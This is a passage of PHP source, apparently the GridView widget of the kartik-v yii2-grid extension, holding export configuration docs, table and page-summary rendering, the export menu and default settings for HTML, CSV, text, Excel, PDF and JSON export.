     *   the page export items will be automatically generated based on settings in the `exportConfig` property.
     * - `options`: _array_, HTML attributes for the export menu button. Defaults to
     *    - `['class' => 'btn btn-default']` for [[bsVersion]] = '3.x' or .
     *    - `['class' => 'btn btn-secondary']` for [[bsVersion]] = '4.x'
     * - `encoding`: _string_, the export output file encoding. If not set, defaults to `utf-8`.
     * - `bom`: `boolean`, whether a BOM is to be embedded for text or CSV files with utf-8 encoding. Defaults to
     *   `true`.
     * - `menuOptions`: _array_, HTML attributes for the export dropdown menu. Defaults to `['class' => 'dropdown-menu
     *   dropdown-menu-right']`. This property is to be setup exactly as the `options` property required by the
     *   [[\yii\bootstrap\Dropdown]] widget.
     * - `skipExportElements`: _array_, the list of jQuery element selectors that will be skipped and removed from
     *   export. Defaults to `['.sr-only', '.hide']`.
     */
    public $export = [];

    /**
     * @var array the configuration for each export format. The array keys must be the one of the `format` constants
     * (CSV, HTML, TEXT, EXCEL, PDF, JSON) and the array value is a configuration array consisiting of these settings:
     * - `label`: _string_,the label for the export format menu item displayed
     * - `icon`: _string_,the glyphicon or font-awesome name suffix to be displayed before the export menu item label.
     *   If set to an empty string, this will not be displayed. Refer `defaultConfig` in `initExport` method for
     *   default settings.
     * - `showHeader`: `boolean`, whether to show table header row in the output. Defaults to `true`.
     * - `showPageSummary`: `boolean`, whether to show table page summary row in the output. Defaults to `true`.
     * - `showFooter`: `boolean`, whether to show table footer row in the output. Defaults to `true`.
     * - `showCaption`: `boolean`, whether to show table caption in the output (only for HTML). Defaults to `true`.
     * - `filename`: the base file name for the generated file. Defaults to 'grid-export'. This will be used to
     *   generate a default file name for downloading (extension will be one of csv, html, or xls - `based on the
     *   format setting).
     * - `alertMsg`: _string_, the message prompt to show before saving. If this is empty or not set it will not be
     *   displayed.
     * - `options`: _array_, HTML attributes for the export format menu item.
     * - `mime`: _string_, the mime type (for the file format) to be set before downloading.
     * - `config`: _array_, the special configuration settings specific to each file format/type. The following
     *   configuration options are read specific to each file type:
     *     - `HTML`: The following properties can be set as array key-value pairs:
     *          - `cssFile`: _string_, the css file that will be used in the exported HTML file. Defaults to:
     *            `https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css`.
     *     - `CSV` and `TEXT`: The following properties can be set as array key-value pairs:
     *          - `colDelimiter`: _string_, the column delimiter string for TEXT and CSV downloads.
     *          - `rowDelimiter`: _string_, the row delimiter string for TEXT and CSV downloads.
     *     - `EXCEL`: The following properties can be set as array key-value pairs:
     *          - `worksheet`: _string_, the name of the worksheet, when saved as EXCEL file.
     *     - `PDF`: Supports all configuration properties as required in [[\kartik\mpdf\Pdf]] extension. In addition, the
     *       following additional special options are recognized:
     *          - `contentBefore`: _string_, any HTML formatted content that will be embedded in the PDF output before
     *            the grid.
     *          - `contentAfter`: _string_, any HTML formatted content that will be embedded in the PDF output after
     *            the grid.
     *     - `JSON`: The following properties can be set as array key-value pairs:
     *          - `colHeads`: _array_, the column heading names to be output in the json file. If not set, it will be
     *            autogenerated as "col-{i}", where {i} is the column index. If `slugColHeads` is set to `true`, the
     *            extension will attempt to autogenerate column heads based on table column heading, whereever
     *     possible.
     *          - `slugColHeads`: `boolean`, whether to auto-generate column identifiers as slugs based on the table
     *            column heading name. If the table column heading contains characters which cannot be slugified, then
     *            the extension will autogenerate the column name as "col-{i}".
     *          - `jsonReplacer``: array|JsExpression, the JSON replacer property - `can be an array or a JS function
     *            created using JsExpression. Refer the [JSON documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_native_JSON#The_replacer_parameter)
     *            for details on setting this property.
     *          - `indentSpace`: int, pretty print json output and indent by number of spaces specified. Defaults to `4`.
     */
    public $exportConfig = [];

    /**
     * @var array conversion of defined patterns in the grid cells as a preprocessing before the gridview is formatted
     * for export. Each array row must consist of the following two keys:
     * - `from`: _string_, is the pattern to search for in each grid column's cells
     * - `to`: _string_, is the string to replace the pattern in the grid column cells
     * This defaults to:
     * ```php
     * [
     *      ['from'=>GridView::ICON_ACTIVE, 'to'=>Yii::t('kvgrid', 'Active')],
     *      ['from'=>GridView::ICON_INACTIVE, 'to'=>Yii::t('kvgrid', 'Inactive')]
     * ]
     * ```
     */
    public $exportConversions = [];

    /**
     * @var boolean determines whether the exported EXCEL cell data will be automatically guessed and formatted based on
     * [[DataColumn::format]] property. This property is applicable for EXCEL export content only. One can override this
     * behavior and change the auto-derived format mask by setting [[DataColumn::xlFormat]].
     */
    public $autoXlFormat = false;

    /**
     * @var array|boolean the HTML attributes for the grid container. The grid items will be wrapped in a `div`
     * container with the configured HTML attributes. The ID for the container will be auto generated.
     */
    public $containerOptions = [];

    /**
     * Whether to hash export config and prevent data tampering of the export config when transmitting this between
     * client and server during grid data export. Defaults to `true`. You may set this to `false` if your config
     * contains dynamic data (like current date time). However, note that when `false` it adds the possibility of
     * your client data being tampered during grid export when read by server.
     */
    public $hashExportConfig = true;

    /**
     * @var string the generated client script for the grid
     */
    protected $_gridClientFunc = '';

    /**
     * @var Module the grid module.
     */
    protected $_module;

    /**
     * @var string key to identify showing all data
     */
    protected $_toggleDataKey;

    /**
     * @var string HTML attribute identifier for the toggle button
     */
    protected $_toggleButtonId;

    /**
     * @var string the JS variable to store the toggle options
     */
    protected $_toggleOptionsVar;

    /**
     * @var string generated plugin script for the toggle button
     */
    protected $_toggleScript;

    /**
     * @var boolean whether the current mode is showing all data
     */
    protected $_isShowAll = false;

    /**
     * Parses export configuration and returns the merged defaults.
     *
     * @param array $exportConfig the export configuration
     * @param array $defaultExportConfig the default export configuration
     *
     * @return array
     */
    protected static function parseExportConfig($exportConfig, $defaultExportConfig)
    {
        if (is_array($exportConfig) && !empty($exportConfig)) {
            foreach ($exportConfig as $format => $setting) {
                $setup = is_array($exportConfig[$format]) ? $exportConfig[$format] : [];
                $exportConfig[$format] = empty($setup) ? $defaultExportConfig[$format] :
                    array_replace_recursive($defaultExportConfig[$format], $setup);
            }
            return $exportConfig;
        }
        return $defaultExportConfig;
    }

    /**
     * Sets a default css class within `options` if not set
     *
     * @param array $options the HTML options
     * @param string|array $css the CSS class to test and append
     */
    protected static function initCss(&$options, $css)
    {
        if (!isset($options['class'])) {
            $options['class'] = $css;
        }
    }

    /**
     * @inheritdoc
     * @throws InvalidConfigException
     */
    public function init()
    {
        $this->initModule();
        if (isset($this->_module->bsVersion)) {
            $this->bsVersion = $this->_module->bsVersion;
        }
        $this->initBsVersion();
        Html::addCssClass($this->options, 'is-bs' . ($this->isBs4() ? '4' : '3'));
        $this->initPjaxContainerId();
        if (!isset($this->itemLabelSingle)) {
            $this->itemLabelSingle = Yii::t('kvgrid', 'item');
        }
        if (!isset($this->itemLabelPlural)) {
            $this->itemLabelPlural = Yii::t('kvgrid', 'items');
        }
        if (!isset($this->itemLabelFew)) {
            $this->itemLabelFew = Yii::t('kvgrid', 'items-few');
        }
        if (!isset($this->itemLabelMany)) {
            $this->itemLabelMany = Yii::t('kvgrid', 'items-many');
        }
        if (!isset($this->itemLabelAccusative)) {
            $this->itemLabelAccusative = Yii::t('kvgrid', 'items-acc');
        }
        $isBs4 = $this->isBs4();
        if ($isBs4) {
            Html::addCssClass($this->options, 'kv-grid-bs4');
            $this->setPagerOptionClass('linkContainerOptions', 'page-item');
            $this->setPagerOptionClass('linkOptions', 'page-link');
            $this->setPagerOptionClass('disabledListItemSubTagOptions', 'page-link');
        }
        if (!$this->toggleData) {
            parent::init();
            return;
        }
        $this->_toggleDataKey = '_tog' . hash('crc32', $this->options['id']);
        /**
         * @var Request $request
         */
        $request = $this->_module->get('request', false);
        if ($request === null || !($request instanceof Request)) {
            $request = Yii::$app->request;
        }
        $this->_isShowAll = $request->getQueryParam($this->_toggleDataKey, $this->defaultPagination) === 'all';
        if ($this->_isShowAll) {
            /** @noinspection PhpUndefinedFieldInspection */
            $this->dataProvider->pagination = false;
        }
        $this->_toggleButtonId = $this->options['id'] . '-togdata-' . ($this->_isShowAll ? 'all' : 'page');
        parent::init();
    }

    /**
     * Get pjax container identifier
     * @return string
     */
    public function getPjaxContainerId()
    {
        $this->initPjaxContainerId();
        return $this->pjaxSettings['options']['id'];
    }

    /**
     * Initializes pjax container identifier
     */
    public function initPjaxContainerId()
    {
        if (empty($this->options['id'])) {
            $this->options['id'] = $this->getId();
        }
        if (empty($this->pjaxSettings['options']['id'])) {
            $this->pjaxSettings['options']['id'] = $this->options['id'] . '-pjax';
        }
    }

    /**
     * Adds CSS class to the pager parameter
     * @param string $param the pager param
     * @param string $css the CSS class
     */
    protected function setPagerOptionClass($param, $css)
    {
        $opts = ArrayHelper::getValue($this->pager, $param, []);
        Html::addCssClass($opts, $css);
        $this->pager[$param] = $opts;
    }

    /**
     * @inheritdoc
     * @throws InvalidConfigException
     * @throws \Exception
     */
    public function run()
    {
        $this->initToggleData();
        $this->initExport();
        if ($this->export !== false && isset($this->exportConfig[self::PDF])) {
            Config::checkDependency(
                'mpdf\Pdf',
                'yii2-mpdf',
                'for PDF export functionality. To include PDF export, follow the install steps below. If you do not ' .
                "need PDF export functionality, do not include 'PDF' as a format in the 'export' property. You can " .
                "otherwise set 'export' to 'false' to disable all export functionality"
            );
        }
        $this->initHeader();
        $this->initBootstrapStyle();
        $this->containerOptions['id'] = $this->options['id'] . '-container';
        Html::addCssClass($this->containerOptions, 'kv-grid-container');
        $this->initPanel();
        $this->initLayout();
        $this->registerAssets();
        if ($this->pjax) {
            $this->beginPjax();
            parent::run();
            $this->endPjax();
        } else {
            parent::run();
        }
    }

    /**
     * Renders the table page summary.
     *
     * @return string the rendering result.
     * @throws InvalidConfigException
     */
    public function renderPageSummary()
    {
        if (!$this->showPageSummary) {
            return null;
        }
        if (!isset($this->pageSummaryRowOptions['class'])) {
            $this->pageSummaryRowOptions['class'] = ($this->isBs4() ? 'table-' : '') . 'warning kv-page-summary';
        }
        Html::addCssClass($this->pageSummaryRowOptions, $this->options['id']);
        $row = $this->getPageSummaryRow();
        if ($row === null) {
            return '';
        }
        $tag = ArrayHelper::remove($this->pageSummaryContainer, 'tag', 'tbody');
        $content = Html::tag('tr', $row, $this->pageSummaryRowOptions);
        return Html::tag($tag, $content, $this->pageSummaryContainer);
    }

    /**
     * Get the page summary row markup
     * @return string
     */
    protected function getPageSummaryRow()
    {
        $columns = array_values($this->columns);
        $cols = count($columns);
        if ($cols === 0) {
            return null;
        }
        $cells = [];
        $skipped = [];
        for ($i = 0; $i < $cols; $i++) {
            /** @var DataColumn $column */
            $column = $columns[$i];
            if (!method_exists($column, 'renderPageSummaryCell')) {
                $cells[] = Html::tag('td');
                continue;
            }
            $cells[] = $column->renderPageSummaryCell();
            if (!empty($column->pageSummaryOptions['colspan'])) {
                $span = (int)$column->pageSummaryOptions['colspan'];
                $dir = ArrayHelper::getValue($column->pageSummaryOptions, 'data-colspan-dir', 'ltr');
                if ($span > 0) {
                    $fm = ($dir === 'ltr') ? ($i + 1) : ($i - $span + 1);
                    $to = ($dir === 'ltr') ? ($i + $span - 1) : ($i - 1);
                    for ($j = $fm; $j <= $to; $j++) {
                        $skipped[$j] = true;
                    }
                }
            }
        }
        if (!empty($skipped)) {
            for ($i = 0; $i < $cols; $i++) {
                if (isset($skipped[$i])) {
                    $cells[$i] = '';
                }
            }
        }
        return implode('', $cells);
    }

    /**
     * @inheritdoc
     * @throws InvalidConfigException
     */
    public function renderTableBody()
    {
        $content = parent::renderTableBody();
        if ($this->showPageSummary) {
            $summary = $this->renderPageSummary();
            return $this->pageSummaryPosition === self::POS_TOP ? ($summary . $content) : ($content . $summary);
        }
        return $content;
    }

    /**
     * Renders a table row with the given data model and key.
     * @param mixed $model the data model to be rendered
     * @param mixed $key the key associated with the data model
     * @param int $index the zero-based index of the data model among the model array returned by [[dataProvider]].
     * @return string the rendering result
     */
    public function renderTableRow($model, $key, $index)
    {
        $cells = [];
        /* @var $column Column */
        foreach ($this->columns as $column) {
            $cells[] = $column->renderDataCell($model, $key, $index);
        }
        if ($this->rowOptions instanceof Closure) {
            $options = call_user_func($this->rowOptions, $model, $key, $index, $this);
        } else {
            $options = $this->rowOptions;
        }
        $options['data-key'] = static::parseKey($key);
        Html::addCssClass($options, $this->options['id']);
        return Html::tag('tr', implode('', $cells), $options);
    }

    /**
     * Parses the key and returns parsed key value as string based on the data type
     * @param mixed $key
     * @return string
     */
    public static function parseKey($key)
    {
        return is_array($key) ? Json::encode($key) : (is_object($key) ? serialize($key) : (string)$key);
    }

    /**
     * Renders the toggle data button.
     *
     * @return string
     */
    public function renderToggleData()
    {
        if (!$this->toggleData) {
            return '';
        }
        $maxCount = ArrayHelper::getValue($this->toggleDataOptions, 'maxCount', false);
        if ($maxCount !== true && (!$maxCount || (int)$maxCount <= $this->dataProvider->getTotalCount())) {
            return '';
        }
        $tag = $this->_isShowAll ? 'page' : 'all';
        $options = $this->toggleDataOptions[$tag];
        $label = ArrayHelper::remove($options, 'label', '');
        $url = Url::current([$this->_toggleDataKey => $tag]);
        static::initCss($this->toggleDataContainer, 'btn-group');
        return Html::tag('div', Html::a($label, $url, $options), $this->toggleDataContainer);
    }

    /**
     * Renders the export menu.
     *
     * @return string
     * @throws InvalidConfigException
     * @throws \Exception
     */
    public function renderExport()
    {
        if ($this->export === false || !is_array($this->export) ||
            empty($this->exportConfig) || !is_array($this->exportConfig)
        ) {
            return '';
        }
        $isBs4 = $this->isBs4();
        $title = $this->export['label'];
        $icon = $this->export['icon'];
        $options = $this->export['options'];
        static::initCss($options, ['btn', $this->_defaultBtnCss]);
        $menuOptions = $this->export['menuOptions'];
        $title = ($icon == '') ? $title : "<i class='{$icon}'></i> {$title}";
        $encoding = ArrayHelper::getValue($this->export, 'encoding', 'utf-8');
        $bom = (int)ArrayHelper::getValue($this->export, 'bom', 1);
        $items = empty($this->export['header']) ? [] : [$this->export['header']];
        foreach ($this->exportConfig as $format => $setting) {
            $iconOptions = ArrayHelper::getValue($setting, 'iconOptions', []);
            Html::addCssClass($iconOptions, $setting['icon']);
            $label = (empty($setting['icon']) || $setting['icon'] == '') ? $setting['label'] :
                Html::tag('i', '', $iconOptions) . ' ' . $setting['label'];
            $mime = ArrayHelper::getValue($setting, 'mime', 'text/plain');
            $config = ArrayHelper::getValue($setting, 'config', []);
            $cssStyles = ArrayHelper::getValue($setting, 'cssStyles', []);
            if ($format === self::JSON) {
                unset($config['jsonReplacer']);
            }
            $cfg = $this->hashExportConfig ? Json::encode($config) : '';
            $intCfg = empty($this->hashExportConfig) ? 0 : 1;
            $dataToHash = $this->moduleId . $setting['filename'] . $mime . $encoding . $bom . $intCfg . $cfg;
            $hash = Yii::$app->security->hashData($dataToHash, $this->_module->exportEncryptSalt);
            $items[] = [
                'label' => $label,
                'url' => '#',
                'linkOptions' => [
                    'class' => 'export-' . $format,
                    'data-mime' => $mime,
                    'data-hash' => $hash,
                    'data-hash-export-config' => $intCfg,
                    'data-css-styles' => $cssStyles,
                ],
                'options' => $setting['options'],
            ];
        }
        $itemsBefore = ArrayHelper::getValue($this->export, 'itemsBefore', []);
        $itemsAfter = ArrayHelper::getValue($this->export, 'itemsAfter', []);
        $items = ArrayHelper::merge($itemsBefore, $items, $itemsAfter);
        $opts = [
            'label' => $title,
            'dropdown' => ['items' => $items, 'encodeLabels' => false, 'options' => $menuOptions],
            'encodeLabel' => false,
        ];
        Html::addCssClass($this->exportContainer, 'btn-group');
        if ($isBs4) {
            $opts['buttonOptions'] = $options;
            $opts['renderContainer'] = false;
            /** @noinspection PhpUnnecessaryFullyQualifiedNameInspection */
            $out = Html::tag('div', \kartik\bs4dropdown\ButtonDropdown::widget($opts), $this->exportContainer);
        } else {
            $opts['options'] = $options;
            $opts['containerOptions'] = $this->exportContainer;
            /** @noinspection PhpUnnecessaryFullyQualifiedNameInspection */
            $out = \yii\bootstrap\ButtonDropdown::widget($opts);
        }
        return $out;
    }

    /**
     * @inheritdoc
     */
    public function renderTableHeader()
    {
        $cells = [];
        foreach ($this->columns as $index => $column) {
            /* @var DataColumn $column */
            if ($this->resizableColumns && $this->persistResize) {
                $column->headerOptions['data-resizable-column-id'] = "kv-col-{$index}";
            }
            $cells[] = $column->renderHeaderCell();
        }
        $content = Html::tag('tr', implode('', $cells), $this->headerRowOptions);
        if ($this->filterPosition == self::FILTER_POS_HEADER) {
            $content = $this->renderFilters() . $content;
        } elseif ($this->filterPosition == self::FILTER_POS_BODY) {
            $content .= $this->renderFilters();
        }
        return "<thead>\n" .
            $this->generateRows($this->beforeHeader) . "\n" .
            $content . "\n" .
            $this->generateRows($this->afterHeader) . "\n" .
            '</thead>';
    }

    /**
     * @inheritdoc
     */
    public function renderTableFooter()
    {
        $content = parent::renderTableFooter();
        return strtr(
            $content,
            [
                '<tfoot>' => "<tfoot>\n" . $this->generateRows($this->beforeFooter),
                '</tfoot>' => $this->generateRows($this->afterFooter) . "\n</tfoot>",
            ]
        );
    }

    /**
     * @inheritdoc
     */
    public function renderColumnGroup()
    {
        $requireColumnGroup = false;
        foreach ($this->columns as $column) {
            /* @var $column Column */
            if (!empty($column->options)) {
                $requireColumnGroup = true;
                break;
            }
        }
        if ($requireColumnGroup) {
            $cols = [];
            foreach ($this->columns as $column) {
                //Skip column with groupedRow
                /** @noinspection PhpUndefinedFieldInspection */
                if (property_exists($column, 'groupedRow') && $column->groupedRow) {
                    continue;
                }
                $cols[] = Html::tag('col', '', $column->options);
            }

            return Html::tag('colgroup', implode("\n", $cols));
        } else {
            return false;
        }
    }

    /**
     * @inheritdoc
     */
    public function renderSummary()
    {
        $count = $this->dataProvider->getCount();
        if ($count <= 0) {
            return '';
        }
        $summaryOptions = $this->summaryOptions;
        $tag = ArrayHelper::remove($summaryOptions, 'tag', 'div');
        $configItems = [
            'item' => $this->itemLabelSingle,
            'items' => $this->itemLabelPlural,
            'items-few' => $this->itemLabelFew,
            'items-many' => $this->itemLabelMany,
            'items-acc' => $this->itemLabelAccusative,
        ];
        $pagination = $this->dataProvider->getPagination();
        if ($pagination !== false) {
            $totalCount = $this->dataProvider->getTotalCount();
            $begin = $pagination->getPage() * $pagination->pageSize + 1;
            $end = $begin + $count - 1;
            if ($begin > $end) {
                $begin = $end;
            }
            $page = $pagination->getPage() + 1;
            $pageCount = $pagination->pageCount;
            $configSummary = [
                'begin' => $begin,
                'end' => $end,
                'count' => $count,
                'totalCount' => $totalCount,
                'page' => $page,
                'pageCount' => $pageCount,
            ];
            if (($summaryContent = $this->summary) === null) {
                return Html::tag($tag, Yii::t('kvgrid',
                    'Showing <b>{begin, number}-{end, number}</b> of <b>{totalCount, number}</b> {totalCount, plural, one{{item}} other{{items}}}.',
                    $configSummary + $configItems
                ), $summaryOptions);
            }
        } else {
            $begin = $page = $pageCount = 1;
            $end = $totalCount = $count;
            $configSummary = [
                'begin' => $begin,
                'end' => $end,
                'count' => $count,
                'totalCount' => $totalCount,
                'page' => $page,
                'pageCount' => $pageCount,
            ];
            if (($summaryContent = $this->summary) === null) {
                return Html::tag($tag,
                    Yii::t('kvgrid', 'Total <b>{count, number}</b> {count, plural, one{{item}} other{{items}}}.',
                        $configSummary + $configItems
                    ), $summaryOptions);
            }
        }

        return Yii::$app->getI18n()->format($summaryContent, $configSummary, Yii::$app->language);
    }

    /**
     * Initialize the module based on module identifier
     * @throws InvalidConfigException
     */
    protected function initModule()
    {
        if (!isset($this->moduleId)) {
            $this->_module = Module::getInstance();
            if (isset($this->_module)) {
                $this->moduleId = $this->_module->id;
                return;
            }
            $this->moduleId = Module::MODULE;
        }
        $this->_module = Config::getModule($this->moduleId, Module::class);
        if (isset($this->bsVersion)) {
            return;
        }
    }

    /**
     * Initialize grid export.
     * @throws InvalidConfigException
     */
    protected function initExport()
    {
        if ($this->export === false) {
            return;
        }
        $this->exportConversions = array_replace_recursive(
            [
                ['from' => self::ICON_ACTIVE, 'to' => Yii::t('kvgrid', 'Active')],
                ['from' => self::ICON_INACTIVE, 'to' => Yii::t('kvgrid', 'Inactive')],
            ],
            $this->exportConversions
        );
        if (!isset($this->export['fontAwesome'])) {
            $this->export['fontAwesome'] = false;
        }
        $isFa = $this->export['fontAwesome'];
        $isBs4 = $this->isBs4();
        $this->export = array_replace_recursive(
            [
                'label' => '',
                'icon' => $isFa ? 'fa fa-share-square-o' : ($this->isBs4() ? 'fas fa-external-link-alt' : 'glyphicon glyphicon-export'),
                'messages' => [
                    'allowPopups' => Yii::t(
                        'kvgrid',
                        'Disable any popup blockers in your browser to ensure proper download.'
                    ),
                    'confirmDownload' => Yii::t('kvgrid', 'Ok to proceed?'),
                    'downloadProgress' => Yii::t('kvgrid', 'Generating the export file. Please wait...'),
                    'downloadComplete' => Yii::t(
                        'kvgrid',
                        'Request submitted! You may safely close this dialog after saving your downloaded file.'
                    ),
                ],
                'options' => ['class' => 'btn ' . $this->_defaultBtnCss, 'title' => Yii::t('kvgrid', 'Export')],
                'menuOptions' => ['class' => 'dropdown-menu dropdown-menu-right '],
                'skipExportElements' => ['.sr-only', '.hide'],
            ],
            $this->export
        );
        if (!isset($this->export['header'])) {
            $this->export['header'] = '<li role="presentation" class="dropdown-header">' .
                Yii::t('kvgrid', 'Export Page Data') . '</li>';
        }
        if (!isset($this->export['headerAll'])) {
            $this->export['headerAll'] = '<li role="presentation" class="dropdown-header">' .
                Yii::t('kvgrid', 'Export All Data') . '</li>';
        }
        $title = empty($this->caption) ? Yii::t('kvgrid', 'Grid Export') : $this->caption;
        $pdfHeader = [
            'L' => [
                'content' => Yii::t('kvgrid', 'Yii2 Grid Export (PDF)'),
                'font-size' => 8,
                'color' => '#333333',
            ],
            'C' => [
                'content' => $title,
                'font-size' => 16,
                'color' => '#333333',
            ],
            'R' => [
                'content' => Yii::t('kvgrid', 'Generated') . ': ' . date('D, d-M-Y'),
                'font-size' => 8,
                'color' => '#333333',
            ],
        ];
        $pdfFooter = [
            'L' => [
                'content' => Yii::t('kvgrid', '© Krajee Yii2 Extensions'),
                'font-size' => 8,
                'font-style' => 'B',
                'color' => '#999999',
            ],
            'R' => [
                'content' => '[ {PAGENO} ]',
                'font-size' => 10,
                'font-style' => 'B',
                'font-family' => 'serif',
                'color' => '#333333',
            ],
            'line' => true,
        ];
        $cssStyles = [
            '.kv-group-even' => ['background-color' => '#f0f1ff'],
            '.kv-group-odd' => ['background-color' => '#f9fcff'],
            '.kv-grouped-row' => ['background-color' => '#fff0f5', 'font-size' => '1.3em', 'padding' => '10px'],
            '.kv-table-caption' => [
                'border' => '1px solid #ddd',
                'border-bottom' => 'none',
                'font-size' => '1.5em',
                'padding' => '8px',
            ],
            '.kv-table-footer' => ['border-top' => '4px double #ddd', 'font-weight' => 'bold'],
            '.kv-page-summary td' => [
                'background-color' => '#ffeeba',
                'border-top' => '4px double #ddd',
                'font-weight' => 'bold',
            ],
            '.kv-align-center' => ['text-align' => 'center'],
            '.kv-align-left' => ['text-align' => 'left'],
            '.kv-align-right' => ['text-align' => 'right'],
            '.kv-align-top' => ['vertical-align' => 'top'],
            '.kv-align-bottom' => ['vertical-align' => 'bottom'],
            '.kv-align-middle' => ['vertical-align' => 'middle'],
            '.kv-editable-link' => [
                'color' => '#428bca',
                'text-decoration' => 'none',
                'background' => 'none',
                'border' => 'none',
                'border-bottom' => '1px dashed',
                'margin' => '0',
                'padding' => '2px 1px',
            ],
        ];
        $defaultExportConfig = [
            self::HTML => [
                'label' => Yii::t('kvgrid', 'HTML'),
                'icon' => $isBs4 ? 'fas fa-file-alt' : ($isFa ? 'fa fa-file-text' : 'glyphicon glyphicon-save'),
                'iconOptions' => ['class' => 'text-info'],
                'showHeader' => true,
                'showPageSummary' => true,
                'showFooter' => true,
                'showCaption' => true,
                'filename' => Yii::t('kvgrid', 'grid-export'),
                'alertMsg' => Yii::t('kvgrid', 'The HTML export file will be generated for download.'),
                'options' => ['title' => Yii::t('kvgrid', 'Hyper Text Markup Language')],
                'mime' => 'text/plain',
                'cssStyles' => $cssStyles,
                'config' => [
                    'cssFile' => $this->isBs4() ?
                        [
                            'https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css',
                            //'https://use.fontawesome.com/releases/v5.3.1/css/all.css',
                            // Use CDN version to avoid impact China site.  It also work for worldwide
                            'https://cdn.bootcss.com/font-awesome/5.3.1/css/all.css',
                        ] :
                        ['https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css'],
                ],
            ],
            self::CSV => [
                'label' => Yii::t('kvgrid', 'CSV'),
                'icon' => $isBs4 ? 'fas fa-file-code' : ($isFa ? 'fa fa-file-code-o' : 'glyphicon glyphicon-floppy-open'),
                'iconOptions' => ['class' => 'text-primary'],
                'showHeader' => true,
                'showPageSummary' => true,
                'showFooter' => true,
                'showCaption' => true,
                'filename' => Yii::t('kvgrid', 'grid-export'),
                'alertMsg' => Yii::t('kvgrid', 'The CSV export file will be generated for download.'),
                'options' => ['title' => Yii::t('kvgrid', 'Comma Separated Values')],
                'mime' => 'application/csv',
                'config' => [
                    'colDelimiter' => ',',
                    'rowDelimiter' => "\r\n",
                ],
            ],
            self::TEXT => [
                'label' => Yii::t('kvgrid', 'Text'),
                'icon' => $isBs4 ? 'far fa-file-alt' : ($isFa ? 'fa fa-file-text-o' : 'glyphicon glyphicon-floppy-save'),
                'iconOptions' => ['class' => 'text-muted'],
                'showHeader' => true,
                'showPageSummary' => true,
                'showFooter' => true,
                'showCaption' => true,
                'filename' => Yii::t('kvgrid', 'grid-export'),
                'alertMsg' => Yii::t('kvgrid', 'The TEXT export file will be generated for download.'),
                'options' => ['title' => Yii::t('kvgrid', 'Tab Delimited Text')],
                'mime' => 'text/plain',
                'config' => [
                    'colDelimiter' => "\t",
                    'rowDelimiter' => "\r\n",
                ],
            ],
            self::EXCEL => [
                'label' => Yii::t('kvgrid', 'Excel'),
                'icon' => $isBs4 ? 'far fa-file-excel' : ($isFa ? 'fa fa-file-excel-o' : 'glyphicon glyphicon-floppy-remove'),
                'iconOptions' => ['class' => 'text-success'],
                'showHeader' => true,
                'showPageSummary' => true,
                'showFooter' => true,
                'showCaption' => true,
                'filename' => Yii::t('kvgrid', 'grid-export'),
                'alertMsg' => Yii::t('kvgrid', 'The EXCEL export file will be generated for download.'),
                'options' => ['title' => Yii::t('kvgrid', 'Microsoft Excel 95+')],
                'mime' => 'application/vnd.ms-excel',
                'cssStyles' => $cssStyles,
                'config' => [
                    'worksheet' => Yii::t('kvgrid', 'ExportWorksheet'),
                    'cssFile' => '',
                ],
            ],
            self::PDF => [
                'label' => Yii::t('kvgrid', 'PDF'),
                'icon' => $isBs4 ? 'far fa-file-pdf' : ($isFa ? 'fa fa-file-pdf-o' : 'glyphicon glyphicon-floppy-disk'),
                'iconOptions' => ['class' => 'text-danger'],
                'showHeader' => true,
                'showPageSummary' => true,
                'showFooter' => true,
                'showCaption' => true,
                'filename' => Yii::t('kvgrid', 'grid-export'),
                'alertMsg' => Yii::t('kvgrid', 'The PDF export file will be generated for download.'),
                'options' => ['title' => Yii::t('kvgrid', 'Portable Document Format')],
                'mime' => 'application/pdf',
                'cssStyles' => $cssStyles,
                'config' => [
                    'mode' => 'UTF-8',
                    'format' => 'A4-L',
                    'destination' => 'D',
                    'marginTop' => 20,
                    'marginBottom' => 20,
                    'cssInline' => '.kv-wrap{padding:20px}',
                    'methods' => [
                        'SetHeader' => [
                            ['odd' => $pdfHeader, 'even' => $pdfHeader],
                        ],
                        'SetFooter' => [
                            ['odd' => $pdfFooter, 'even' => $pdfFooter],
                        ],
                    ],
                    'options' => [
                        'title' => $title,
                        'subject' => Yii::t('kvgrid', 'PDF export generated by kartik-v/yii2-grid extension'),
                        'keywords' => Yii::t('kvgrid', 'krajee, grid, export, yii2-grid, pdf'),
                    ],
                    'contentBefore' => '',
                    'contentAfter' => '',
                ],
            ],
            self::JSON => [
                'label' => Yii::t('kvgrid', 'JSON'),
                'icon' => $isBs4 ? 'far fa-file-code' : ($isFa ? 'fa fa-file-code-o' : 'glyphicon glyphicon-floppy-open'),
                'iconOptions' => ['class' => 'text-warning'],
                'showHeader' => true,
                'showPageSummary' => true,
                'showFooter' => true,
                'showCaption' => true,
                'filename' => Yii::t('kvgrid', 'grid-export'),
                'alertMsg' => Yii::t('kvgrid', 'The JSON export file will be generated for download.'),
                'options' => ['title' => Yii::t('kvgrid', 'JavaScript Object Notation')],
                'mime' => 'application/json',
                'config' => [
                    'colHeads' => [],
                    'slugColHeads' => false,
                    'jsonReplacer' => new JsExpression("function(k,v){return typeof(v)==='string'?$.trim(v):v}"),
                    'indentSpace' => 4,
                ],
            ],
        ];

        // Remove PDF if dependency is not loaded.
        if (!class_exists('\\kartik\\mpdf\\Pdf')) {
            unset($defaultExportConfig[self::PDF]);
        }

        $this->exportConfig = self::parseExportConfig($this->exportConfig, $defaultExportConfig);
    }

    /**
     * Initialize toggle data button options.
     * @throws InvalidConfigException
     */
    protected function initToggleData()
    {
        if (!$this->toggleData) {
            return;
        }
        $isBs4 = $this->isBs4();
        $defBtnCss = 'btn ' . $this->_defaultBtnCss;
        $defaultOptions = [
            'maxCount' => 10000,
            'minCount' => 500,
            'confirmMsg' => Yii::t(
                'kvgrid',
                'There are {totalCount} records. Are you sure you want to display them all?',
                ['totalCount' => number_format($this->dataProvider->getTotalCount())]
            ),
            'all' => [
                'icon' => $isBs4 ? 'fas fa-expand' : 'glyphicon glyphicon-resize-full',
                'label' => Yii::t('kvgrid', 'All'),
                'class' => $defBtnCss,
                'title' => Yii::t('kvgrid', 'Show all data'),
            ],
            'page' => [
                'icon' => $isBs4 ? 'fas fa-compress' : 'glyphicon glyphicon-resize-small',
                'label' => Yii::t('kvgrid', 'Page'),
                'class' => $defBtnCss,
                'title' => Yii::t('kvgrid', 'Show first page data'),
            ],
        ];
